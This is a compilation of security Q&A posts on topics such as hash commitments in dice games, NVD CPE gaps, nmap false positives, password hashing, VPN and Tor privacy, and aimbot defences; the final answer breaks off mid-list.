is possible someone break the algorythm of my dice game with hashes I just want to know how much secure are these games. I coded my own game and now want to know how much secure is.

If for example the hash is visible(before you bet) would be possible decipher this hash trying to break the algorythm and then guess the number in the roll just with this hash? And what i need to learn to know more about this.

For example i will provide some examples of the hashes.

1.c910a1337bc486f621fc1b1d8bf72ebf99fba1eb20bbc3834151649f5fd59e40
2.bf09437579722a8378e51b06afef30b5af337ec3472ac6aa6d34e6a1bbb0cf09
3.6a3df2709858f3313c6651133fbb9c177b27aa2d5a6736e01f692e45fb44c948
4.7b2963c6d959f81dad5388389e43e047e336092c005b57a5bc684d0cc7cb19de

could someone just with the hashes get the algorythm? and how we can protect of this. how much time would take me to get the algorytm.

Some idea if would be possible to get the algorythm to guess the number?

"Revealing a hash beforehand" does not mean the algorithm is broken.  We call this a "commitment," and its a well recognized tool.  However, that doesn't mean that an algorithm which uses commitments is not also broken.  You have to analyze the algorithm.

As an extreme example, if you were committing to a 6 sided die roll, and didn't use a nonce, then there's only 6 possible commitments, and its trivial to see what was committed.


NVD: How to query without false positives when CPE Entries are not filled in for many CVEs? So my naive approach was to query NVD for CPE URIs of software products I use.

Unfortunately I notice a lot of entries don't have CPE entries. (e.g. for 2016 there are currently 1332 without CPE URI).

So this means I have to grep through these for keywords, which is quite error prone.

Are there any other ways to get all CVEs for software X?

Since you did not delivered some examples, such as: where did you get information that a CVE does not deliver CPE - either by the basis of some platform or files provided by some specific vendor. I assume you are using the National Vulnerability Database (NVD) Data Feeds, either in XML 2.0 or JSON  format provided by NIST at https://nvd.nist.gov/vuln/data-feeds, because the information collected from NIST's (NVDCVE) files is the same in CVEDetails.com.

You claim that there are over a thousand entries without CPE:

$ ls -lh
total 96136
-rw-r--r--  1 test  test    44M Aug 18 03:25 nvdcve-2.0-2016.xml
-rw-r--r--  1 test  test   2.6M Aug 20 06:57 nvdcve-2.0-2016.xml.zip
$ grep -c "\*\* REJECT \*\*" nvdcve-2.0-2016.xml
1106

If you are wondering, why did I used the keyword "REJECT": This is the only way that there is a CVE and cannot find a CPE. For example:

$ grep -A5 "<entry id=\"CVE-2016-0001\">" nvdcve-2.0-2016.xml
  <entry id="CVE-2016-0001">
    <vuln:cve-id>CVE-2016-0001</vuln:cve-id>
    <vuln:published-datetime>2017-05-11T10:29:55.767-04:00</vuln:published-datetime>
    <vuln:last-modified-datetime>2017-05-11T10:29:55.767-04:00</vuln:last-modified-datetime>
    <vuln:summary>** REJECT **  DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: The CNA or individual who requested this candidate did not associate it with any vulnerability during 2016. Notes: none.</vuln:summary>
  </entry>

The reason why this happens, I have explained in this question: Categorizing CVE product name


Is it a security risk to allow index listing of the .well-known/acme-challenge directory? To register an SSL certificate via the Let's Encrypt authority, one must serve a special file in /.well-known/acme-challenge/<token> with specific contents. Apologies if I missed it in the documentation, but it is not clear to me whether this token needs to remain secret, or whether it is OK for it to be visible via a directory index when navigating to /.well-known/acme-challenge/ on the server.

If my acme-challenge tokens have been visible in this manner, are my SSL certs compromised?

Exposing your ACME challenges is not a security concern. These unique tokens are given to you to aid automatic domain ownership verification. They should be unique in path and content.

Since your site has no certificate when the challenge phase happens your tokens are exposed via a plaintext HTTP connection anyway.

The tokens are not secret, they just have to be sufficiently random to prevent anyone from obtaining certificates for domains one has no control over. If they were not so, one might be able to find a file on the server that matches the challenge and receive certificates for domains he does not own.

  If my acme-challenge tokens have been visible in this manner, are my SSL certs compromised?

They are definitely not. Certificate issuance is a completely separate process. Once the domain ownership is verified the ACME challenges are not used.


service providers and web activity It is good to know that ISP have legal boundaries for retaining a client's internet activity.  Is it possible that individuals can hack the ISP and then have access to someone's web history activity?

It's a simple question and the answer is even simpler. Yes (but for only half the reasons stated in the comment by KnightOfNi)

(Carrying on for the sake of completeness)

An 'airgap firewall' loosely describes a system not connected to anything else (taken here to also mean no wireless connections). Somehow data is input into the airgapped system and exported from it. Hack that mechanism and you can hack the airgapped system even if it's not connected to the internet.

If a tiny little PLC in a nuclear facility in the desert can be hacked, an ISP (which may or may not have carried a payload used in the attack if the attacker used that ISP) can definitely be hacked.

In fact, if you have physical access to a system, it doesn't even need to be on to be compromised.

If one man made, another man can break it.


Privacy issues when mobile app has access to phone number and contacts It seems that when it comes to mobile apps convenience defeats security - always.

In particular all messaging/communication apps seem to require to have access to your contacts on the phone and your actual phone number (like WhatsApp).

The idea is that you do not have to register nor do you have to manually add contacts to the app - all will be done automatically by the app using your contacts (presumably using their phone number and/or emails) and your phone number (as a unique id).

There is however big security/privacy difference between the app doing it automatically for you, without your control, vs you doing it manually (choosing a username tied to a specific email - not necessarily at all to your phone number), and then you choosing specifically which contacts to add to the app's address book.

Even supposedly privacy-respecting and secure apps like TextSecure by Open Whisper Systems use the automatic approach with phone number as unique id and auto-contacts-scanning/addition.

So, my question is 2-fold:

Are there really no apps that do not use this automatic/convenience approach?
How can one trust an app, even if its claiming to be end-to-end encrypted, if it has uncontrolled access to your phone book and actual phone number? Or I am being too paranoid and not understanding some security aspect of it?

One possible solution would be if the app were to use cryptographic hashes of your phone number and your contacts together with some salt and ever use/transmit only this information. But then, once again - do such apps exist, and more importantly how can one verify that this is actually all that is ever being sent? That is how can you be sure that even after updating the app, it still only ever uses the hashes of that sensitive info?

EDIT:

As was pointed out in the comments the major issue is not so much that the app has access to this information, the issue is that because it obviously uses Internet to provide communication it can then send that information (and much more) home to its server.

At some level, you implicitly invest trust  When you make the decision to use any
system which is connected to the Internet, your implicitly trusting that system's
operating system to do the 'right thing'. After all, it has full access to anything
you do on that device. Likewise, when you decide to use an application on that
system, you are implicitly trusting that application to do the right thing. Even if
you don't use the address book and manually enter contact details, like a phone
number, each time, you are trusting it doesn't send details to an unauthorised 3rd
party.

The challenge is in determining what level of trust to assign to an operating system
or an application. This may seem challenging, but it is really just an extension of
something we do all the time and the same general guidelines can be used. We make
decisions about trust every day. When you send your car for maintenance, you are
trusting that the mechanic will do the 'right thing', when you visit your doctor, you
are trusting they will do the right thing, each time you drive on the road, your
trusting that other drivers will do the right thing. The techniques we use to
determine what level of trust we assign in these activities use the same principals
we should apply when making a decision about an application. In general terms, this
comes down to reputation, legislation and what could be referred to as intuition.

Reputation. When you select a mechanic or a doctor, you might ask around and see
what others think of them. You might check their reputation with a reputable
industry body, accreditation authority or ask others whose opinion you trust. The
same approach can be used for applications - see what the industry reviews have to
say, talk to other users, review what their privacy statement is. The extent you go
to will depend on a combination of how you assess the risk i.e. what is the
likelihood that those who wrote the app will do the right thing and what would be
the consequence to you if they don't. You will also mediate this by your own level
of risk comfort or appetite - some people are very risk adverse and are
uncomfortable with relatively low levels of risk, others have a greater appetite
and are willing to accept more risk. One of the reasons that things like the Apple
app store has been so popular is that supposedly Apple does some vetting of the
apps in the store, giving you some increased confidence that at least Apple thinks
the application is moderately OK. This in itself is not a guarantee, but it is a
higher guarantee than you get downloading and installing an app from some random
web site you know nothing about.
Legislation. In many cases, there is varying levels of legislative protection which
might increase your level of trust. You might verify a mechanic, a doctor etc has
obtained minimum levels of qualification to practice, has mandatory insurance or
meets minimum legislative compliance requirements, is licensed to operate or in the
case of driving, has a valid license. Sometimes, as is the case with driving, you
can assume the other drivers on the road are licensed and know the road rules on
the basis that law enforcement monitors the situation and has penalties for those
who don't which are sufficient to minimise the risk you will come across an
unlicensed driver who does not know the road rules. You have no guarantee, but you
can be reasonably confident that the likelihood is low.
Intuition. This is your overall gut feeling. You might reject a mechanic or a
doctor despite having verified they have a good reputation, have al the necessary
accreditation, licenses, insurance etc, simply because you don't feel comfortable
with them, don't like their manner or just feel somehow uneasy about them. Trust
this intuition. The same goes with applications. You have to trust them at some
level and you need to feel comfortable about that trust.

Are you being overly paranoid? Yes and no. On the whole, we probably should all be a
little more paranoid. We shouldn't just download some app and start using it. We
should investigate it first - find out what sort of reputation the app and the vendor
have, talk to other users, check their website and look at their privacy statement
and terms of use, think about the likelihood and consequences of the app doing the
wrong thing. Depending on the app, there may be legislation or accreditation which
may help (for example, some countries have legislation which require service
providers to disclose details of security incidents, guarantees about how data is
manged, shared and disposed etc. There are various associations which require their
members to obey certain ethical codes in order to be a member which might have a
baring on the level of trust your willing to hand over etc.

Where you may be getting a bit paranoid is in thinking about encryption and other
mechanisms to try an improve your level of privacy protection. Most of these types od
ideas are not vary practical and the level of inconvenience they impose is usually
unacceptable (though this will depend on individual circumstances). For example,
encrypting your address book is is unlikely to help. At some point, the application
will need to know the decryption key in order to use the address book. Once you
provide that key, the app has full access. Yes, you could encrypt every entry with a
different key, but then you would have to provide a unique key to the app for every
entry and you would need to remember all of those keys.

Currently, for most people, it is still too hard to easily assess an arbitrary
application. This is especially true for new applications which have not yet
developed any real reputation you can use. Likewise, there are as many bad, difficult
to verify accreditation schemes out there as there are good ones (look at the Madison
Ashely site - it had banners all over the place claiming accreditation from various
security and other 'bodies' claiming it was secure and safe).

I think one of the best assessment rules is still "there is no such thing as a free
lunch". Basically, if it sounds too good to be true, then it probably is. Software
tends to take a lot of time to develop, which means a lot of money. People who do
this are generally looking for some sort of reward. Sometimes, it can be reputation,
but more often than not, it is financial. If you cannot see what the financial basis
or operating model is i.e. how can they afford to do this?, then you should be
suspicious that perhaps the app is making its money some other way, such as selling
your data to a 3rd party. Avoid installing applications from random web sites you
know nothing about, especially if the software is free. Be wary of applications which
provide a service that could have questionable ethical standards - for example, any
application which claims to help avoid paying a fee, provide free access to a service
which you normally need to pay for, etc. If the stated objective of the app sounds a
little unethical, it is likely those who created it have similar ethics (or lack of
them) and you probably don't want to trust them with your data.

Privacy is not a binary proposition - it isn't a simple 'it is' or 'it isn't'. It has
to be considered in context. What we really need is increased disclosure, not
increased encryption. Encryption has an important role, but far more important is
having sufficient information to allow us to make an informed choice. We should know
what a vendor does with our data, how they collect it, who they share it with, how
they store it and how/when they destroy it. Vendors need to treat our data with more
respect and tell us what they are doing. With this information, we can then make the
decision as to whether the convenience is warranted and within what each individual
is willing to accept.


What is a good analogy to explain to a layman why passwords should be hashed? Note: This is not an actual situation I'm currently in.

Assume your boss is one of those old-fashioned computer-illiterate managers and wants to store the passwords in plaintext to simplify development. You get 5 minutes to explain the point of hashing passwords. You also know from experience that your boss can be swayed by a good analogy. What analogy would you use to explain your boss that passwords should be hashed?

The Short Answer

The short answer is: "So you don't get hit with a $5 million class-action lawsuit." That should be reason enough for most CEOs. Hashing passwords is a lot cheaper.

But more importantly: simply hashing the passwords as you suggested in your question isn't sufficient. You'll still get the lawsuit. You need to do more.

Why you need to do more takes a bit longer to explain. So let's take the long route for a moment so that you understand what you're explaining, and then we'll circle around for your 5-minute synopsis.

Hashing is just the beginning

But let's start with that. Say you store your users' passwords like this:

# id:user:password
1:alice:pizza
2:bob:passw0rd
3:carol:baseball

Now, let's say an attacker manages to get more access to your system than you'd like. He's only there for 35 seconds before you detect the issue and close the hole. But in those 35 seconds he managed to snag your password database. Yes, you made a security mistake, but you've fixed it now. You patched the hole, fixed the code, updated your firewall, whatever it may be. So everything is good, now, right?

Well, no, he has your password database.

That means that he can now impersonate every user on your system. Your system's security is destroyed. The only way to recover is to start over with NEW password database, forcing everyone to change their password without using their existing password as a valid form of identification. You have to contact them out-of-band through some other method (phone, email, or something) to verify their identity to re-create their passwords, and in the mean time, your whole operation is dead in the water.

And what if you didn't see him steal the password database? In retrospect, it's quite unlikely that you would actually see it happen. The way you probably find out is by noticing unusual activity on multiple users' accounts. Perhaps for months it's as if your system has no security at all and you can't figure out why. This could ruin your business.

So we hash

Instead of storing the password, we store a hash of the password. Your database now looks like this:

# id:user:sha1
1:alice:1f6ccd2be75f1cc94a22a773eea8f8aeb5c68217
2:bob:7c6a61c68ef8b9b6b061b28c348bc1ed7921cb53
3:carol:a2c901c8c6dea98958c219f6f2d038c44dc5d362

Now the only thing you store is an opaque token that can be used to verify whether a password is correct, but can't be used to retrieve the correct password.

Well, almost. Google those hashes, I dare you.

So now we've progressed to 1970's technology. Congratulations. We can do better.

So we salt

I spent a long time answering the question as to why to salt hashes, including examples and demonstrations of how this works in the real world. I won't re-hash the hashing discussion here, so go ahead and read the original:

Why are salted hashes more secure?

Pretty fun, eh? OK, so now we know that we have to salt our hashes or we might as well have never hashed the passwords to begin with. Now we're up to 1990's technology. We can still do better.

So we iterate

You noticed that bit at the bottom of the answer I linked above, right? The bit about bcrypt and PBKDF2? Yeah, it turns out that's really important. With the speed at which hardware can do hashing calculations today (thank you, bitcoin!), an attacker with off-the-shelf hardware can blow through your whole salted, hashed password file in a matter of hours, calculating billions or even trillions of hashes per second. You've got to slow them down.

The easiest way to slow them down is to just make them do more work. Instead of calculating one hash to check a password, you have to calculate 1000. Or 100,000. Or whatever number suits your fancy. You can also use scrypt ("ess-crypt"), which not only requires a lot of CPU power, but also a lot of RAM to do the calculation, making the dedicated hardware I linked above largely useless.

This is the current state-of-the-art. Congratulations and welcome to today's technology.

Are we done?

So now what happens when the attacker grabs your password file. Well, now he can pound away at it offline instead of making online guess attempts against your service. Sadly, a fair chunk of your users (4% to 12%) will have used the password "123456" or "password" unless you actively prevent them from doing so, and the attacker will try guessing these first.

If you want to keep users safe, don't let them use "password" as their password. Or any of the other top 500, for that matter. There's software out there to make accurate password strength calculation easy (and free).

But also, multi-factor authentication is never a bad call. It's easy for you to add to any project. So you might as well.

Now, Your 5 Minutes of Glory

You're in front of your boss, he asks you why you need to use PBKDF2 or similar to hash your passwords. You mention the LinkedIn class-action suit and say, "This is the minimum level of security legally expected in the industry. Anything less is literally negligence." This should take much less than 5 minutes, and if your boss isn't convinced, then he wasn't listening.

But you could go on: "The cost of implementing hashing technology is negligible, while the cost of not implementing it could be in the millions or higher." and "In the event of a breach, a properly-hashed database allows you to position yourself as a well-run security-aware organization, while a database improperly hashed is a very public embarrassment that, as history has shown many times over, will not be ignored or overlooked in the slightest by the media."

If you want to get technical, you can re-hash the above. But if you're talking to your boss, then you should know better than that. And analogies are much less effective than just showing the real-life effects that are perfectly visible with no sugar-coating necessary.

You don't get people to wear safety gloves by recounting a good analogy. Instead you put some lunch meat in the beaker and when it explodes in green and blue flames you say, "that's what will happen to your finger."

Use the same principle here.


nmap reports a remote host as up, while it is down? I want to remotely examine if some servers are up.

I don't use the ping command because it gives a lot of wrong results like
"destination host unreachable" and "request Timed out" due to bad networking infrastructure.

I try to use nmap command to examine servers by open ports. Nmap gives me the real opened ports, but when I turn off the server, nmap still reports it running.

The client logs into the internet through a usb modem, and the destination host that I examine is connected to the internet through a TP-Link Access point with usb modem and a static IP.

When I turn off the access point completely and I run this command:

nmap -p 80 -vv 105.198.224.47

Starting Nmap 7.01 ( https://nmap.org ) at 2017-01-31 11:54 EET

Initiating Ping Scan at 11:54

Scanning 105.198.224.47 [2 ports]

Completed Ping Scan at 11:54, 0.61s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 11:54

Completed Parallel DNS resolution of 1 host. at 11:54, 0.01s elapsed

Initiating Connect Scan at 11:54

Scanning 105.198.224.47 [1 port]

Discovered open port 80/tcp on 105.198.224.47

Completed Connect Scan at 11:54, 0.09s elapsed (1 total ports)

Nmap scan report for 105.198.224.47

Host is up, received syn-ack (0.55s latency).

Scanned at 2017-01-31 11:54:17 EET for 0s

PORT   STATE SERVICE REASON

80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

And when put the ip in a browser it gives:

"This site can’t be reached"

"The connection was reset."

This happens in both situations when it is turned on and turned off.

traceroute when the access point is turned on gives:

traceroute to 105.198.224.47 (105.198.224.47), 30 hops max, 60 byte packets

 1  192.168.9.1 (192.168.9.1)  1.667 ms  1.768 ms  2.508 ms

 2  * * *

 3  10.255.224.106 (10.255.224.106)  759.425 ms  769.911 ms  770.401 ms

 4  10.255.224.114 (10.255.224.114)  770.142 ms  770.508 ms  770.871 ms

 5  10.255.224.124 (10.255.224.124)  771.866 ms  771.859 ms  779.227 ms

 6  105.199.1.3 (105.199.1.3)  780.458 ms  792.637 ms  792.453 ms

 7  163.121.143.88 (163.121.143.88)  803.571 ms  51.573 ms  41.250 ms

 8  163.121.143.75 (163.121.143.75)  49.261 ms  49.264 ms  49.384 ms

 9  * * *

10  * * *

11  * * *

12  * * *

13  * * *

14  * * *

15  * * *

16  * * *

17  * * *

18  * * *

19  * * *

20  * * *

21  * * *

22  * * *

23  * * *

24  * * *

25  * * *

26  * * *

27  * * *

28  * * *

29  * * *

30  * * *

running traceroute when the access point turned off gives the same result but the changes only in values of milli seconds ms.

So, what the explanation of this behaviour?

What do you have, network-wise, between you and your servers ?

Any active element (router, firewall, etc.) can modify your trafic, hence:

the fact that ping does not work can be unrelated to your server state. ICMP trafic is often something completely filtered out
your nmap case is stranger, but can still be explained the same way, it also depends if you use a name or an IP

In both cases to really monitor things you should use a service you control on the server (like ssh, http or something more specific), connect to it and verify that you get back what you expect (a specific result).


Resuming an interrupted nmap scan: I need to:

--resume <filename>:      Resume an aborted interrupted scan.

But I didn’t:

-oN/-oX/-oS/-oG <file>:   Output scan in normal, XML, s|<rIpt kIddi3,
                          and Grepable format, respectively, to the given filename.

Nor did I:

-oA <basename>:           Output in the three major formats at once.

So:

Can it be done?
What are my options?
Are there temporary logs etc.?

Nmap does not make temporary logs, but Zenmap and Metasploit (and probably Armitage) automatically save XML output to a temp file for later parsing. Unfortunately, Nmap's --resume feature does not support resuming from XML (yet).

Some general observations that may help in the future:

Always save output. Get in the habit, because even though a results viewer or other tool may use the raw output to fill a database model, it will likely miss some information that you may want to use later.
Use a terminal multiplexer like GNU Screen or tmux to avoid losing long-running processes when your connection hiccups. Along those lines, check whether Armitage kept running your scan even when you disconnected.


creating a TLS encrypted API I have an HTTP API endpoint on my server that is encrypted (TLS). It is not a public API; users must sign-in and validate their account/identity to access the API.

When I connect with my test client (using a newly generated keypair client-side each time), I get this response:

{[] [] [Domain Control Validated COMODO SSL Wildcard] [] [] [] []  *.blah.com [{Domain Control Validated} {COMODO SSL Wildcard} {*.blah.com}]}
2015/05/26 10:53:34 client: handshake:  true
2015/05/26 10:53:34 client: mutual:  true

Everything looks good.

Now, each user of my API must have a public/private keypair kept clientside to use to connect to the API to comply with the TLS protocol. This is all good and well as I understand it.

Users are going to send sensitive data and files through the wire to be stored on my server.

My next step is to authenticate the users and ensure their data is safe in transit. Which should I use?

HTTP basic auth
OAUTH
OAUTH2

I read over https://www.owasp.org/index.php/REST_Security_Cheat_Sheet but it is mostly about securing a public API from attack. The part about securing the data itself is a footnote at the end.

As for the title of your question: your communication channel is encrypted by TLS. That part is OK.

The body of the question is actually about authentication. You have a few options, the main ones being:

reuse the client certificates your users already have (due to the way you set up encryption by requesting both client and server certificates). Depending on the specific case you are it it could be enough for authentication (or not: you have a one factor authentication solely based on the possession of the certificates).
use a password-based system, HTTP Basic Auth is an example
use oAuth, which can allow you to offload authentication on another party (Google, Twitter, LinekedIn, ...). The added value is that you do not need to worry about managing the authentication lifecycle (account creation, password management), the other party may also have a robust system (multifactor) in place. The con is that you do not own authentication, you have to trust someone else to do a good job.
put in place multi-factor authentication (HOTP) implemented for instance via Open OTP (the mechanism used by Google Authenticator, Authy, ...)


Amazon gift card phishing/spam -- what's the point? I recently received an email message with the subject "San Diego Site Leadership and Management Team sent you an Amazon Gift Card!", sent to my work address, apparently from "Amazon.com Gift Cards <gc-orders@gc.email.amazon.com>".
I was suspicious because there was no mention of my employer's name, just a generic message:

Please enjoy this $50.00 Amazon gift card to purchase
an item of your choice to kick-off Q4 and in recognition
of your hard work. We appreciate you!
#SDThePlaceToBe

It included a plausible looking "Claim Code" for the gift card. The code resembles "TIAT-UTAHBX-3V4T". (The actual code has the same pattern of uppercase letters and decimal digits.)
To be clear, I haven't clicked on any links in the email or tried to use the claim code, and I don't intend to.
I checked with my employer, who confirmed that they had not sent it, and with Amazon support, who confirmed that I had not been sent an email gift card.
So far, this sounds like an ordinary phishing attempt, which I would just report and ignore, but here's the strange part.
I've examined the headers and saw no suspicious links.  There were several links within the email (none of which I clicked) that led to amazon.com URLs, plus sharing links at the bottom for Facebook, Twitter, Instagram, and Pinterest. As far as I can tell, even if I fell for this phishing attempt, no information would get back to whoever sent it. The claim code is presumably invalid, but if I tried to redeem it I presume it would simply fail (that's according to Amazon support).
So my question is -- what's the point?  Is this kind of phishing email without any dangerous links common?  Is there any way the sender could benefit, or harm me, if I clicked on a link that goes to an amazon.com address?
I'm hesitant to share the entire message, but please let me know if more information would be helpful.

It turns out to be genuine.
The fact that my manager didn't know anything about it is odd (and I'll be following up on that). Some of the key phrases mentioned in the email matched phrases mentioned in a meeting today, which led me to try to redeem the card -- and it worked.
I mentioned that Amazon confirmed that nobody had sent me a gift card. I should have realized that wasn't meaningful, since the email only gave me a claim code and didn't refer to my Amazon account.
I'll also encourage the organization within the (rather large) company that sent the card to be clearer about where it's from, like mentioning the name of the company.


How secure is it to use passwords consisting of one common part and one site specific prefix? One of the greatest problems with passwords is having to remember different passwords for different sites. Some people use password managers, others use the password reset link every time they want to login.

I came up with this idea of remembering passwords and I want to know how secure is it. It consists of one common phrase and a suffix/prefix related to the website. For example, we can take a common phrase (for demonstration purposes only) like abcd124efg. Then a password for security stackexchange could be (taking the first and last letter of the site name) secabcd124efgnge.

The advantage of this is that you get a different password for each website while only having to remember one. Now, since the algorithm is known only to the user, it would be hard to know other passwords if someone has access to one of them.

How secure is this algorithm? Would it be used anytime in the future?

This reminds me of how Dan Kaminsky got hacked. He used to use passwords like:

fu*k.hackers
fu*k.mysql
fu*k.vps

So bad guys has revealed his pattern and the rest of the "job" was easy.

The lesson of the story is; stay away from this.


Does using VPN improve security when connecting to a HTTP website? When I use my VPN (ExpressVPN) to connect to a site that only uses HTTP, is that something I need to worry about?

Let's say I talk to someone on a site that only use HTTP, will the messages be easily traced back to the sender?

What is the difference in privacy/security when connecting to a website that uses HTTP vs HTTPS when I am already connected to a VPN server?

Edit: I found out that the vpn provider has built in SSL in the vpn server. Does this mean I am using https Even though it says http in the web browser?

Let me split up your questions and hopefully it will make sense...

When I use my VPN (ExpressVPN) connecting to a site that use only http, is that something i need to worry about?

A VPN is an encrypted tunnel between your computer and the VPN end point, in this case the ExpressVPN servers in the country you connect to. Any internet traffic is therefore encrypted (people could intercept it but wouldn't be able to understand it) until it exits at the ExpressVPN server.
One advantage here is that even if people (governments, etc.) are monitoring what comes out of the ExpressVPN server you connected to, they won't be able to tell that it was you that sent it. Just that some traffic has emerged.

Quick edit: As noted by someone in the comments (thanks!) - any traffic to http sites will be visible to someone monitoring. So while the source of the traffic will look like the VPN server, the traffic itself could contain info to tie it back to you (e.g. names, ip addresses,...).

One obvious use of VPNs is to access region locked content in other countries as the content provider thinks that your computer is actually in the same country as the ExpressVPN server you connected to.

Lets say i talk to someone on a site that only use http, will the messages be easily traced back to the sender?

What is the difference in privacy/security when connecting to a website that use http vs https when I am already connected to a VPN server?

Let's take https connections first... if you are connecting to a https site via a VPN then communication is still 'further encrypted' between the ExpressVPN server and the https site. i.e. effectively encrypted the whole way from your computer to the https site but going via the ExpressVPN server.
If you are communicating with an http site then someone could be intercepting and reading the connect of the traffic but would only really be able to tell that it was coming from the ExpressVPN server and not from you or your computer. So you are probably okay.
However, if that http site requires a login and it is poorly designed it could link your message back to you if you have previously logged in without using the VPN.

The explanations above are quite simplified and there is a lot that could be discussed about the various encryption technologies.

Another important consideration is whether your VPN logs what you do. Most good ones don't. There are various VPN ratings pages you can find including this one from the EFF in 2013 (couldn't find a newer version but I only looked briefly) which will tell you more about what your VPN does and doesn't keep track of. If your VPN logs your activity then they could be passing it on to others or selling it.
General rule of thumb is that if you are using a free or very cheap VPN then the price you are paying is your privacy - they are likely making money from selling on activity details. A lot of people don't care about this as they just care about accessing region locked content.

P.S. For what it's worth, I'm in the UK and with the passing of the 'snoopers charter' I won't be doing anything without a good VPN going forward as our ISPs will be required to log all activity metadata which will be searchable by ANY law enforcement official (including my neighbourhood policeman) without a warrant!


What is the best way for high-level anonymity and privacy via Tor? I am newish to security but I have looked a lot for the perfect way to stay fully anonymous while all data is encrypted. Let's say someones a whistleblower or trading government secrets, how could he wander of freely around the Tor network without being spotted (it's just an example), or anyone else who wishes to. My thoughts...

Tor over VPN

Gives me a great advantage to hide data and the fact that I'm using Tor but if I would hit a bad exit node, he could find sniff my metadata and see all content of the data because VPN has already decrypted the message. No Good!

VPN over Tor

Gives me a great advantage to hide data from exit note and impossible to see metadata. But the disadvantage that my ISP can see everything, and no protection from any spying TOR exit nodes. No Good!

VPN over Tor over VPN?

Possible to then hide my metadata and encrypted data from both exit note and ISP? Not sure and didn't find anything about it.

How about using a VPN to work over Tor on Tails?
Would I need to create my own VPN servers around the world?

Let's say I would anonymously pay via digital currencies for the VPN server.
Maybe shared IP address?

I feel like I'm on the right track to find full anonymity and privacy solution via Tor, but I'm not sure. I hope some of you can help an average Joe to understand how most experienced hackers would hide themselves.

Mixing Tor and VPN is potentially very risky!

If you establish a VPN connection, then a Tor circuit, the Tor entry node sees the VPN exit IP, and your ISP sees only the VPN activity and this potentially works fine if everything is correct. Unfortunately it’s not uncommon for VPNs to leak information (such as DNS), in which case a VPN flaw potentially negates the anonymity of Tor before it even gets used. Ask yourself what advantage you are deriving here? Hiding the fact you’re using Tor from your ISP may be worth it in some instances or countries.

If you do the reverse and establish a Tor circuit, then a VPN connection, you’ve completely defeated the anonymity of Tor as you are logging into the VPN with a registered and paid identification. If you paid for the VPN using some form of anonymous payment and gotten your account information via some other form of anonymous communication, and you never make the mistake of directly connecting to the VPN, this approach can work. Except for rather unusual circumstances, this is a whole lot of risky moving parts that are more likely to harm than help.

Multiple security measures do not necessarily increase security, quite the opposite sometimes. Ask yourself what you’re trying to accomplish before throwing tools at the problem.


How to know if locally installed programs (like Re Image) are malware Not sure where to ask this question but figured I'd ask it here, at least in a generic way. I installed a program called Re Image as I red it helps with system instability problems. However, I then found on google several sources that claim it's malware.

Are there any ways to tell if a program is stealing your data or intending to do damage? Are there communities, like the Web of Trust, that verify the safeness of local programs? There's certainly no shortage of antivirus making false positives (and for what it's worth, windows defender did not detect Re Image as a threat, but sites like this claim that it is).

Does anyone know if Re Image is a threat?

The most reliable check in my opinion is VirusTotal, the online scanner bought by Google.
If the main executable is not too big, upload it there and have it scanned by >50 virus scanners.


Strange browsing problem, unknown images When I open any site, I sometimes see unknown images replacing the original images on the website. They are not ads and can't be clicked. Just random images of people, cartoons etc.

When I refresh the page, the fake images are gone.

It actually started when I was using Windows 7 - Firefox browser & I installed some plugin I don't remember.

This problem was temporarily resolved when I installed Windows 10 (with format C:) and I installed Malwarebytes and Bitdefender. However, when I removed Malwarebytes temporarily due to an error, fake images started appearing again on the websites.

It happens when I open any site containing images, like free sites on weebly.com.

It happens on my computer and my Android phone. I didn't see it in other PCs in the same network. I have tried two different internet connection networks on my PC, the problem is same.

I am using Opera Browser with no add-ons, extensions etc. and I regularly clean the temporary files using CCleaner utility.

I checked the startup and didn't find anything suspicious. I have very few apps enabled on startup. Plus I also checked Control panel for installed programs I don't recognize. I have a free version of Win 10.

I opened the image link in a new tab, & it was fine (original image- not the fake one replacing it)

The last thing I did was installing software (Autodesk Maya or Unity 3d I think)

Where is the problem? I've been trying to solve this for the last 3 months.

It's really hard to tell with only this much information. Investigating this could be a forensics challenge rather than a simple Q&A. Some things to look at:

Does it only happen on your computer, or also on smartphones or other computers in the same network?
Does your computer only do it on your network or also elsewhere? (If it's a desktop computer, I guess you can't test that.)
Does it also happen when you boot a Linux live boot (e.g. Ubuntu)?
Are there strange things running at startup? See task manager (ctrl+shift+escape) -> startup tab.
There are probably processes you don't recognize, but perhaps something strange jumps out, so are there weird processes running?
Did you download an illegal version of Windows? Since 10 is free I can't imagine why but if you did, that might contain viruses by itself.
Where are the images located? If you right click on one and then click something like "open in new tab" or "view image" or "show properties", what URL is it hosted on?
What is the last thing you did or installed before it started again? You might be using a fake version of certain software, e.g. when downloading Ccleaner you might have used the wrong download button. Many ads are fake download buttons, trying to get you to download fake software.

Etc.


Can we stop aimbots by introducing a "Protected Input Path" that ensures that mouse input really comes from the mouse? When playing First Person Shooters online it's possible to stumble on opponents using aimbots. They are really a plague, and I was wondering whether there is anything that can be done to block them.

I have researched this a bit, and on Stack Overflow I've found a question on how aimbots work. The accepted answer explains that the aimbot reads from some memory addresses the position of an enemy relative to the player, calculates the right direction, and then sends the fake input to the game. This sending of the fake input is deemed "trivial", and this is where I think we could do something.

The aimbot can simulate, via software, the input that should come from the mouse, thus fooling the game into accepting those movements as legitimate and coming from a player's hand. Couldn't an OS make it impossible for a program to fake user input? I am thinking of something like the Protected Media Path that is integrated in Windows, and that makes it impossible to copy DRM-protected contents. It relies on HDCP, which is a licensed technology, and of course the license isn't given to rogue manufacturers (and in case it could be revoked). Couldn't OS vendors and mouse manufacturers develop a "Protected Input Path", relying on certified hardware with signed drivers, that would make it impossible for a program to fake user input?

Then, the game (whose binaries would also be signed) would only use input that comes from real mouse movement, not from another program. That is, from the player's hand, not from an aimbot.

Would this work? And in case, why isn't it done?

One of the things many companies realize is that cheating in games is very much like information or network security. It's a cat and mouse game.

To answer the "has something been attempted" area of questions, yes various tricks have been deployed, and continues to be "updated". Games may disable "virtual" input, input provided from certain devices, or certain inputs all together. In some games, they may disable or block certain keystrokes. I particularly remember an update to a popular free FPS where the Insert and Delete keys were effectively disabled while the game was running. Reasoning behind this was that cheats used these keys commonly.

The other area to consider is the cost/benefit. For instance, a game like Combat Arms (a free online multiplayer FPS) is victim to cheating likely because there is little to loose when a player's account is banned. The offending user can simply create another account. Games have attempted to address this with banning users by hard drive serial numbers, and so on. Again, cheaters will find ways around this, including banning IP addresses.

The key part to remember is that anti-cheats effectively work with one of the following three:

White Lists
